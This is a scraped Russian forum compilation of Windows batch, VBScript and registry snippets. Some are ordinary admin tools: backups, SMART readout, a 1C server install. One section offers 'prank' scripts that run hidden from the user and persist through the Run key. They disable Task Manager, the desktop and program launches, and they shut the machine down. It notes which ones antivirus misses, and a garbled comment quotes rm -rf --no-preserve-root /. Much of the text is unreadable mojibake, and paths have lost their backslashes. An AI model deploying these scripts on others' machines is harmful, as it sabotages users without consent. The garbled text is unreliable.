set LOGFILE="F:backupbackup.log" set BACKUPFILE="F:backupDocuments-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar" set BACKUPDIR="E:Documents" "c:Program FilesWinRARRar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%
Выключить компьютер по сети
shutdown.bat
shutdown -s -f -t 60 -m \comp01
Удаление хлама из документов
delete.bat
set LOGFILE=F:backupdelete.log echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 del E:Documents*.mp3 /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.m3u /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wav /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wma /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.wmv /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.flv /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mpg /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mp4 /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.avi /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.vob /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.mov /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.exe /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.msi /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.dll /s /f /a >> %LOGFILE% 2>>&1 del E:Documents*.dat /s /f /a >> %LOGFILE% 2>>&1 del E:DocumentsThumbs.db /s /f /a >> %LOGFILE% 2>>&1 echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 echo "" 2>>&1
Здесь собираем команды и простые скрипты Batch, VBScript, Powershell,
имеющие специфику безопасности:
— проверка, сбор информации и диагностика системы;
— восстановление после заражения;
— резервное копирование;
— усиление защиты.
Все скрипты по мере добавления будут сгруппированы в первом посте.
Вы можете задать вопрос по любому коду, а также выложить свой, создав новую тему в этом разделе.
Каталог удобняшек:
— Восстановление и лечение
Восстановление файловых ассоциаций — Windows XP (CMD, Reg) Windows XP, 7, 8 (CMD, Reg)
Восстановление шрифтов после сбоя (крякозябры в окнах Windows вместо русского текста) (CMD)
«Крякозябры» при копировании текста с форума в программу и схожие проблемы… (CMD)
Команды консоли восстановления (Windows Recovery Console)
— Информация о системе
Определение версии ОС, разрядности, сборки, семейства операционной системы, разрядности среды, из которой запущен Batch
Просмотр последнего отчета о проверке диска (chkdsk) (Powershell)
GetUserBySID: Определение имени учетной записи пользователя по указанному идентификатору безопасности SID (VBScript)
— Интерфейс, удобство работы и быстрый запуск
Прыжок в ветку реестра, имя которой скопировано в буфер (CMD + exe)
RUN Команды Windows, RunDll32
— Проверка системы на ошибки/уязвимости
— Права доступа
Как сменить владельца папки или файла (Hands, CMD, Reg, AVZ)
— Резервное копирование
Быстрое резервное копирование данных с помощью Robocopy в Windows 7 (CMD)
Создание контрольной точки восстановления системы
— Реестр
reg.exe и основы работы с реестром (CMD)
— Сеть
— Очистка
Удаление временных файлов планировщиком по расписанию c учетом критериев даты создания/изменения (CMD, VBScript)
Как удалить неудаляемые файлы из корзины?
'==========================================================================
'
' AUTHOR: Леонид_33
' NAME: HDD_Smart.vbs
'
' Скрипт для получения SMARTа HDD
' Может брать SMART как с локальной так и удаленной машины с выводом результата в файл в формате CSV
' При запуске скрипта выдается окно ввода имени(IP) машины с учетными данными
' Если хотим получить SMART с локальной машины, то ничего не указываем, если с удаленной, указываем имя(IP) машины, и, если надо, учетные данные
' Работает на WindowsXP(SP2,SP3), Windows2003SP2, Windows2008SP1
' Берет SMART через WMI, поэтому, что винда отдает, то отдает т.е.
' работает только со стандартно подключенными на мать HDD IDE и SATA
' Как бы того не хотелось, НЕ РАБОТАЕТ с рэйдами.
' Ну не видит винда SMARTов с этих винтов и все тут.
'
' Если что по атрибутам неясно, можно глянуть тут
' http://en.wikipedia.org/wiki/Self-Monitoring%2C_Analysis%2C_and_Reporting_Technology
'
'==========================================================================
if not isAdminRights then call Elevate(""): WScript.Quit
Dim strComputer
Dim strLogin
Dim strPassword
On Error Resume Next
'GetPassword()
strComputer = "."
strLogin = ""
strPassword = ""
If strLogin = "" or strComputer = "." then
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootWMI")
else
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMIService = objSWbemLocator.ConnectServer(strComputer, _
"rootCIMV2", _
strLogin, _
strPassword, _
"MS_409")
end If
Set SmartDataItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictData", "WQL", 48)
InstanceName = Array()
SmartData = Array()
SmartLength = Array()
RowCount = 0
For Each objItem In SmartDataItems
Redim Preserve InstanceName(RowCount)
InstanceName(RowCount) = objItem.InstanceName
Redim Preserve SmartData(RowCount)
SmartData(RowCount) = objItem.VendorSpecific
Redim Preserve SmartLength(RowCount)
SmartLength(RowCount) = objItem.Length
RowCount = RowCount + 1
Next
Set SmartDataItems = Nothing
ThresholdData = Array()
Redim Preserve ThresholdData(RowCount)
PredictFailure = Array()
Redim Preserve PredictFailure(RowCount)
Reason = Array()
Redim Preserve Reason(RowCount)
RowCount = 0
Set ThresholdItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictThresholds", "WQL", 48)
For Each objItem In ThresholdItems
ThresholdData(RowCount) = objItem.VendorSpecific
RowCount = RowCount + 1
Next
Set ThresholdItems = Nothing
RowCount = 0
Set PredictStatusItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictStatus", "WQL", 48)
For Each objItem In PredictStatusItems
PredictFailure(RowCount) = objItem.PredictFailure
Reason(RowCount) = objItem.Reason
RowCount = RowCount + 1
Next
Set PredictStatusItems = Nothing
Set oDict = CreateObject("Scripting.Dictionary")
CreateDict(oDict)
Set objFSO = CreateObject("Scripting.FileSystemObject")
If strComputer = "." then
'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart.csv", 2, True)
Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart.csv", 2, True)
else
'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart_" & strComputer & ".csv", 2, True)
Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart_" & strComputer & ".csv", 2, True)
end If
For CurrentDisk = 0 to RowCount - 1
objTextFile.WriteLine("Drive: " & Replace(Mid(InstanceName(CurrentDisk), 9, InStr(InstanceName(CurrentDisk), "__") - 9), "_", " "))
objTextFile.WriteLine("PredictFailure: " & PredictFailure(CurrentDisk))
objTextFile.WriteLine("Reason: " & Reason(CurrentDisk))
objTextFile.WriteLine("ID;Attribute;Type;Flag;Threshold;Value;Worst;Raw;Status;")
aSmartData = SmartData(CurrentDisk)
aThresholdData = ThresholdData(CurrentDisk)
If IsArray(aSmartData) AND IsArray(aThresholdData) Then
LastID = 0
For x = 2 To SmartLength(CurrentDisk) + 2 Step 12
If LastID > aSmartData(x) then
x = 514
else
LastID = aSmartData(x)
If aSmartData(x) <> 0 Then
objTextFile.Write(aSmartData(x) & ";")
If oDict.Item(aSmartData(x)) = "" Then
objTextFile.Write("VendorSpecific(" & aSmartData(x) & ");")
else
objTextFile.Write(oDict.Item(aSmartData(x)) & ";")
end If
If aSmartData(x + 1) MOD 2 Then
objTextFile.Write("Pre-Failure;")
Else
objTextFile.Write("Advisory;")
End If
' objTextFile.Write(aSmartData(x + 1) & ";")
aFlag = aSmartData(x + 1)
txtFlag = ""
If (aFlag And &H1) <> 0 Then txtFlag = "LC," End If
If (aFlag And &H2) <> 0 Then txtFlag = txtFlag & "OC," End If
If (aFlag And &H4) <> 0 Then txtFlag = txtFlag & "PR," End If
If (aFlag And &H8) <> 0 Then txtFlag = txtFlag & "ER," End If
If (aFlag And &H10) <> 0 Then txtFlag = txtFlag & "EC," End If
If (aFlag And &H20) <> 0 Then txtFlag = txtFlag & "SP," End If
If txtFlag <> "" then
txtFlag = Left(txtFlag, Len(txtFlag)-1 )
end If
objTextFile.Write txtFlag & ";"
objTextFile.Write(aThresholdData(x + 1) & ";") 'Threshold
objTextFile.Write(aSmartData(x + 3) & ";") 'Value
objTextFile.Write(aSmartData(x + 4) & ";") 'Worst
objTextFile.Write((aSmartData(x + 8) * 65536 + aSmartData(x + 7) * 4096 + aSmartData(x + 6) * 256 + aSmartData(x + 5)) & ";") 'Raw
If aSmartData(x + 3) >= aThresholdData(x + 1) Then
objTextFile.WriteLine("OK;")
else
objTextFile.WriteLine("NOT OK;")
end If
end If
end If
Next
else
objTextFile.WriteLine("NO DRIVE WITH SMART FOUND;")
end If
'objTextFile.WriteLine
Next
objTextFile.WriteLine
objTextFile.WriteLine("LC - life critical;")
objTextFile.WriteLine("OC - online collection;")
objTextFile.WriteLine("PR - performance related;")
objTextFile.WriteLine("ER - error rate;")
objTextFile.WriteLine("EC - event count;")
objTextFile.WriteLine("SP - self preserving;")
objTextFile.Close
Wscript.echo "HDD_SMART Is Done!"
Function CreateDict(oDict)
oDict.Add 1, "Raw Read Error Rate"
oDict.Add 2, "Throughput Performance"
oDict.Add 3, "Spin-Up Time"
oDict.Add 4, "Start/Stop Count"
oDict.Add 5, "Reallocated Sectors Count"
oDict.Add 6, "Read Channel Margin"
oDict.Add 7, "Seek Error Rate Rate"
oDict.Add 8, "Seek Time Performance"
oDict.Add 9, "Power-On Hours (POH)"
oDict.Add 10, "Spin Retry Count"
oDict.Add 11, "Recalibration Retries Count"
oDict.Add 12, "Device Power Cycle Count"
oDict.Add 13, "Soft Read Error Rate"
oDict.Add 190, "HDA Temperature"
oDict.Add 191, "G-Sense Error Rate Frequency"
oDict.Add 192, "Power-Off Park Count"
oDict.Add 193, "Load/Unload Cycle Count"
oDict.Add 194, "HDA Temperature"
oDict.Add 195, "Hardware ECC Corrected Count"
oDict.Add 196, "Reallocated Event Count"
oDict.Add 197, "Current Pending Sector Count"
oDict.Add 198, "Off-Line Scan Uncorrectable Sector Count"
oDict.Add 199, "UltraDMA CRC Error Count"
oDict.Add 200, "Write Error Rate"
oDict.Add 201, "Soft Read Error Rate"
oDict.Add 202, "Address Mark Errors Frequency"
oDict.Add 203, "ECC errors (Maxtor: ECC Errors)"
oDict.Add 204, "Soft ECC Correction"
oDict.Add 205, "Thermal Asperity Rate (TAR)"
oDict.Add 206, "Flying Height"
oDict.Add 207, "Spin High Current"
oDict.Add 208, "Spin Buzz"
oDict.Add 209, "Offline Seek Perfomance"
oDict.Add 210, "Vibration During Write"
oDict.Add 211, "Vibration During Read"
oDict.Add 212, "Shock During Write"
oDict.Add 220, "Disk Shift"
oDict.Add 221, "G-Sense Error Rate"
oDict.Add 222, "Loaded Hours"
oDict.Add 223, "Load/Unload Retry Count"
oDict.Add 224, "Load Friction"
oDict.Add 225, "/Unload Cycle Count"
oDict.Add 226, "Load 'In'-time"
oDict.Add 227, "Torque Amplification Count"
oDict.Add 228, "Power-Off Retract Cycle"
oDict.Add 230, "GMR Head Amplitude"
oDict.Add 240, "Head Flying Hours"
oDict.Add 250, "Read Error Retry Rate"
End Function
Function GetPassword()
Dim IE
On Error Resume Next
Set IE = CreateObject( "InternetExplorer.Application" )
With IE
.AddressBar = False
.menubar = False
.Navigate "about:blank"
.Document.Title = "Password"
.ToolBar = False
.Resizable = False
.StatusBar = False
.Width = 340
.Height = 230
End With
With IE.Document.ParentWindow.Screen
IE.Left = (.AvailWidth - IE.Width ) 2
IE.Top = (.Availheight - IE.Height) 2
End With
Do While IE.Busy
WScript.Sleep 200
Loop
IE.Document.Body.InnerHTML = "<BODY SCROLL=""NO"" BGCOLOR=""#" & BCol & """ TEXT=""#" & TCol & """>" & _
"<FONT FACE=""arial"" SIZE=2>" & _
"Введите имя компьютера<BR><INPUT SIZE=""40"" " & "ID=""Computer""><BR>" &_
"Пользователь<BR><INPUT SIZE=""40"" " & "ID=""Login""><BR>" &_
"Пароль<BR><INPUT TYPE=""password"" SIZE=""40"" " & "ID=""Login"">" &_
"<P><INPUT TYPE=""hidden"" ID=""OK"" " & "NAME=""OK"" VALUE=""0"">"& _
"<INPUT TYPE=""submit"" VALUE="" OK "" " & "OnClick=""vbscript:OK.Value=1""></P>"
strComputer = "."
strLogin = ""
strPassword = ""
IE.visible = True
Do While IE.Document.All.OK.Value = 0
WScript.Sleep 200
Loop
If IE.Document.All.Computer.Value = "" then
strComputer = "."
else
strComputer = IE.Document.All.Computer.Value
If IE.Document.All.Login.Value <> "" then
strLogin = IE.Document.All.Login.Value
strPassword = IE.Document.All.Password.Value
else
strLogin = ""
strPassword = ""
end If
end If
IE.Quit
Set IE = Nothing
End Function
Sub Elevate(msg)
Const DQ = """"
if msgbox(msg & vblf & "Запустить с Административными привилегиями ?", vbQuestion + vbYesNo,"Подтверждение") = vbNo then WScript.Quit 5
Dim oShellApp: Set oShellApp = CreateObject("Shell.Application")
' Конкатенация аргументов
Dim args, i: For i = 1 to WScript.Arguments.Count
args = args & DQ & WScript.Arguments(i - 1) & DQ & " "
Next
if len(args) = 0 then args = DQ & syscure & DQ & " " & DQ & syscheck & DQ
oShellApp.ShellExecute WScript.FullName, DQ & WScript.ScriptFullName & DQ & " " & args, "", "runas", 1
set oShellApp = Nothing
End Sub
Function isAdminRights()
Const KQV = &H1, KSV = &H2, HKCU = &H80000001, HKLM = &H80000002
Set oReg = GetObject("winmgmts:rootdefault:StdRegProv")
strKey = "SystemCurrentControlSetControlSession Manager"
intErrNum = oReg.CheckAccess(HKLM, strKey, KQV + KSV, flagAccess)
isAdminRights = flagAccess
Set oReg = Nothing
End Function
Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —
требуют прав администратора
при запуске, некоторые —
перезагрузку для применения изменений
. Также
не все они невидимы для антивируса
, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.
Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false
Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:
Меняем местами значение кнопок мыши
Код:
@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Выключение
Код:
shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)
А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.
Перезагрузка
Отключение редактирования меню Пуск
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключение рабочего стола
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключаем интернет
Код:
Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew
Меняем расширение всех ярлыков на txt
Добавление файла в автозагрузку
Код:
copy ""%0"" "путь к файлу"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f
Пример:
Код:
copy ""%0"" "C:UsersuserDesktopre.bat"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Filel" /t REG_SZ /d "C:UsersuserDesktopre.bat" /f
(перезагрузка, админ)
Отключение диспетчера задач
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Запрещаем запуск программ
Добавляйте свои по желанию
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
Например, чтобы запретить запуск Chrome:
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Запрещаем установку программ
Код:
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Убираем панель управления
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков
Код:
reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)
������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)
�� ������ ������� ������ �� �������.
���������� ���������������� ������.
- �������
- �����������
- �����-�����
� �������� �� NN.RU
� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.
�������������� �������, ����� ����� ����� ������.
� ���������� �����
����������
� ���� ���� ����������� ��� ��������, ��� ����� ����������� � ��������� ����� ��� � ����� ����������� ������.
�������, �������, �����, ������� � ��������.
���� ������ ������ — � ����� ����� �����, ������� ��������� ����� ������� ������ ��������������.
����� � ���� ���� ������� �����.
����� �� ������ ��������, ������ «�������� ������»
���� ������ ������� ������ ������, ������� ��� ���������� ������� � ����� ��� ���������. ����������� ����-��� ��� ���� � �������, � ���� ��� ����� ����������� �� ���� ������.
� ��������� ���������� ����:
208653491-pocinit-_pecat-.cmd (1 Kb) ������� ����
����� ���� ����� �� ��� ���������, ����. ��� ����� ����, ����� � ������ ��������.
��� ��� ������ ��������� ������� ������� ���������� 1�
@echo off
echo ������ ���ף�������� �������������� �������� ���������� 1� (������ ���������)
Echo *********************************************************************
Echo *********************************************************************
Echo ����������, ������� ������ ���� ������������� ����� �������� �������
Echo *********************************************************************
Echo *********************************************************************
Echo ����� ������� ������ ���� ����������� ����� ����������� ���������� 1�.
Echo � �������� ��������� ����� ����� «���������� ������ 1�:����������� 8 ��� ������ Windows (������������)»
Echo ������ ������ ���� ������� � ������� ��������������!
Echo *********************************************************************
echo ����� �� ������� ����� ������� ������ ������ 1� �� ������ ����������?
set /p srv_pos=������ ������ ���� ����� (2, 3 � �.�.).:
set logfile=%systemdrive%1c_%srv_pos%_install.log
echo ������ �� �ޣ�� %srv_pos% . ����� ������� %COMPUTERNAME%:%srv_pos%541
echo Server position is %srv_pos%. Server address is %COMPUTERNAME%:%srv_pos%541 >> %logfile%
set /p srv_cat=�������, � ������� ���������� ragent.exe:
set /p srv_conf_cat=������� �������� ������������ ������� 1� (������ ���� ������):
set /p srv_desc=�������� ������� (����� �� �������):
Echo *********************************************************************
Echo *********************************************************************
echo ��������� ��������� ��������������� ������
echo ���� �� ������������ ����� ������� 1� %srv_cat%ragent.exe
echo ���� �� �������� ������������ ������� %srv_conf_cat%
echo ����� ������� %COMPUTERNAME%:%srv_pos%541
echo � ������ ������ �������� ���� � ��������� ������ ������!
pause
sc create 1C-srv-%srv_pos% DisplayName= «1� Server on %srv_pos%541» binPath= «%srv_cat%ragent.exe -srvc -agent -regport %srv_pos%541 -port %srv_pos%540 -range %srv_pos%560:%srv_pos%591 -d «%srv_conf_cat%»» start= auto >>%logfile%
sc description 1C-srv-%srv_pos% «%srv_desc%» >> %logfile%
:LOOP
Echo *********************************************************************
Echo *********************************************************************
Echo ������� ��������� �����ۣ�. ���������� ����� ���� %logfile%
TYPE %logfile%
Echo *********************************************************************
echo ��������� ������, ���� ��� �������� �� ����� ���������!
Echo *********************************************************************
Echo ��������� ������ ������?
Echo.
Echo 1 — ��
Echo 2 — ���, �������� ��������� �������
Echo 3 — ���, ������ �����
Set var=
Set /P var=»������� �����: »
if /I «%var%»==»1» goto scstart
If /I «%var%»==»2» goto exit1
If /I «%var%»==»3» exit
GoTo LOOP
:scstart
sc start 1C-srv-%srv_pos% >> %logfile%
TYPE %logfile%
pause
exit
:exit1
start services.msc
� �� ��������� �����-������ �� ����
��. �� ��� ������ ������� ������������ ������� � ������� ���, ����� �������� ����������������. �������� �����, �� ��������))
��� ��� ������� ����� ������������ ���� ���������� Win8/8.1/10
bcdedit /set «{current}» bootmenupolicy legacy
��� ����������� ������� �� ������ ����� ��������, ��� ���� � Win7Vista. ������ ����� ���������� ������� �� F8 � ������� ������ ������ �������
��� ��� �������� �� ����������� �������?
���� ������ ���� ������ ���������.
������ �� ����� ���� ������� ���� �������� � �� ��� ���� ���������
�� ����� ��� ����� rm /rf �� �����
���, ����������� �����������
������ rm -rf / ��� �� ��������, ������ ������ ��� ������ ������� ������, �� ���� ����������� ����: rm -rf —no-preserve-root /
��� ����� ������ rm -rf /*
�������� ���� ���� � ������ ������� ����� � ����� �������.
REG-����, ������� ��������� � ������ ���������� ������ «��������» (��� ���� ������) � «����� ����» (����� ������ ��� � ����� �����)
��� �������
������� ������� �����(�)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
«InfoTip»=»��� ��������»
«System.ControlPanel.Category»=»5»
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}DefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-27″
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}ShellOpenCommand]
@=»explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{2227a280-3aea-1069-a2de-08002b30309d}]
� ��������� ���������� ����:
208654304-printers_godmode.reg (1 Kb) ������� ����
REG-����, ���������� ��������, ������� ��������� ��������� ���������� �����, ���� ���������� ���������. �� ��� ����, ������ ����� ��������.
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]
[HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate]
«DisableWindowsUpdateAccess»=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU]
«NoAutoUpdate»=dword:00000001
«AUOptions»=-
� ��������� ���������� ����:
208654574-policy_updates_off_naher.reg (1 Kb) ������� ����
� ���� ���10 ��������� ���������� �����������?
� ��� ���ޣ� ������ ��� ����? ���� ������ �������������� ����������?
�� Win10 ���� ���������:
���� �� ���� �� ��� ����� ���������� ���� ���� ����� UpdateAssistant — �� ����� � ����� ������ ������ ���������� �� ������ ������ (�������� � 1607 �� 1803) � �������� ������� � ������������ ����� ��� �� ��������
����� ����� �������� ����� ��� ����� ������:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]
������� � ���������� ������� ���������� ����������� � ��������� ������ ��� ������.
1. ������ ��������� Cobian backup www.cobiansoft.com/cobianbackup.htm
2. ��������� ����������� ������ �� ���� ������, �� ������� ����� «backup» � ������� «backuptrololo», ��������� ��� � ������ ������� � �������� ����� ����� �� ������.
3. �� ����� �� ������/��������/nas ����� ������� ������ ������������ (��� ��������� ������) � ������� �����/���� ��� ��������� �����, ������ �� ������ ���� (��� ������� � �� ������ ����) ���� ������ ����� backup
4. ����������� ��������� ����������� �� ����� ����� backup, ������������ ��� ������ �� ��� ����������� �����.
������ ������ ������� ��������, ���� ��������� ��������� + �������� ������ �� ������������� ����� �������������� � ������ ���������� �����
� ��������� ���������� ����:
208655429-userbackup.cmd (1 Kb) ������� ����
����� ������ ������� ���������� ����� ��������� ����. ������� ���������, ��������� ������ , �������������� ����������, ������ � �������� , ������� ����������� �������������� ��������� ������ , ��������, � ���� ��������.
���� ����� � ������������ ������� ��������
������ �����ݣ����� �� ���������� ���, ������ ������ �� �����, ���� ��������� ����� ������� ������, ������ ��� � ����� ��� � ������, �������� � ������� �����. ������� ������ ������� ������� � ������ �����.
�� ������� WinXP ���� ��������� Shadow User. � ������� ����� ���� ��������� ��� ������, ��������� ������, ����� ���� ������ ������� ����� C:Windows. ����� ������������ �ӣ ��� �� � ޣ� �� ������. � ��������� ��������� ��� ����� �� ��������������, �� ����� ������� ����…
������������ �������, ��������� DeepFrize. ������������ ��������� ����, ����� ������, ����������������� «��������������» ��. �� ������� ��������� ����� � ��� ��������� �� ������ ����. ����� ������ �� ������� ����� � � ���� ���������� ��� ��������, ��� ����������� ��������������. ��� �� ��� � ������� ��������� �� � ��� ��� ���� �������� �� ������������. ��������� ������ � ������� �� ������ ������������ ����� �� 1�� � ����, ������ ������������. ������ ����������� � ��������. � ��������. ������� ������ ���.
� Shadow User ����� ���� ������� ����� ��������� � ������̣���� ��������� �����������.
��� ��� «���������» ���������� ����, ��������� �� �����������.
����� �� ���������
����� ������ ������� ������������ �������������
����� �� ������� ������� ���� ����. ��� ���� ���� ����������� �� ����������� � ��� ��� ������ ���� �����. �� ������ ������ �������������� ���� �����, ����������� �ӣ. �� ��?
��� ������� �� changelog-a:
����� ����:
+ ����� Media Engagement Statistics �������� � ������ Internet (Google Chrome).
���������:
�������� �������� ���
* �������� Temporary Internet Files � ������� Internet (Google Chrome);
* �������� Cache Files � ������� Internet (Microsoft Edge) section;
* �������� Cookies � ������� Internet (Mozilla Firefox);
